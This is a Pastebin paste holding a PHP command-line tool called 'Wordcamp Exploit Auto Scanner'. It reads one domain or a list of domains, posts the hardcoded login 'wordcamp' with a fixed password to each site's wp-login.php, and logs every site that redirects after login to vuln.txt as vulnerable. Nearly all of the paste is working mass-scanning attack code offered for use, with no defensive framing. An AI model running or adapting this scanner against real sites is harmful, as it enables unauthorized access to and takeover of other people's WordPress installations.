ecchiexploit

Wordcamp Exploit Auto Scanner

Dec 6th, 2020 (edited)
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.51 KB | None | 0 0
  1. <?php
  2. define("author","\e[92m");
  3. define("chose","\e[94m");
  4. define("chose2","\e[33m");
  5. define("red","\e[31m");
  6. class Scan{
  7.     public function Save($save,$name){
  8.         $result = fopen($name, "a+");
  9.         fwrite($result, "$save\n");
  10.         fclose($result);
  11.     }
  12.     public function exploit($url){
  13.         $ch  = curl_init();
  14.         curl_setopt($ch, CURLOPT_URL, $url."/wp-login.php");
  15.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  16.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47");
  17.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  18.         curl_setopt($ch, CURLOPT_POSTFIELDS, "log=wordcamp&pwd=z43218765z&wp-submit=LogIn&redirect_to=$url/wp-admin/");
  19.         curl_setopt($ch, CURLOPT_POST, 1);
  20.         $exe = curl_exec($ch);
  21.         $info = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  22.         curl_close($ch);
  23.         return $info;
  24.     }
  25.     public function login($url){
  26.         $ch  = curl_init();
  27.         curl_setopt($ch, CURLOPT_URL, $url."/wp-login.php");
  28.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  29.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  30.         $exe = curl_exec($ch);
  31.         $info = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  32.         curl_close($ch);
  33.         return $info;
  34.     }
  35.     public function Site($site){
  36.         if(!preg_match('#^http(s)?://#',$site)){
  37.             $web = "https://".$site;
  38.         }
  39.         else {
  40.             $web = $site;
  41.         }
  42.         if ($this->login($web) == 200) {
  43.             if ($this->exploit($web) == 302) {
  44.                 echo author."Vuln : $site/wp-login.php\n";
  45.                 $this->Save($web, "vuln.txt");
  46.             }
  47.             else {
  48.                 echo red."Not Vuln : $web\n";
  49.             }
  50.         }
  51.         else {
  52.             echo red."Not Vuln : $web\n";
  53.         }
  54.     }
  55.     public function Chose(){
  56.         echo author."\n[#] Author ./EcchiExploit [#]\n";
  57.         echo author."[$] Wordcamp Exploit Site Scanner [$]\n\n";
  58.         echo chose."\t\t1. Mass Scan\n";
  59.         echo chose2."\t\t2. Not Mass Scan\n";
  60.         $chose = readline("Chose : ");
  61.         switch ($chose) {
  62.             case 1:
  63.                 $list = readline("List Site : ");
  64.                 if(!file_exists($list)) die("File List ".$list." Not Found");
  65.                 $domain =  explode("\n", file_get_contents($list));
  66.                 foreach ($domain as $web) {
  67.                     $this->Site($web);
  68.                 }
  69.                 break;
  70.             case 2:
  71.                 $url = readline("Your Site (example.com) : ");
  72.                 $this->Site($url);
  73.                 break;
  74.             default:
  75.                 echo "Fuck You!!\n";
  76.                 break;
  77.         }
  78.         $this->Again();
  79.     }
  80.     public function Again(){
  81.         $return = readline("Again?? (y/n) : ");
  82.         if ($return == "y" || $return == "Y") {
  83.             $this->Chose();
  84.         }
  85.         else {
  86.             echo "Thanks!!";
  87.         }
  88.     }
  89. }
  90. $test = new Scan();
  91. $test->Chose();
  92. ?>
Add Comment
Please, Sign In to add comment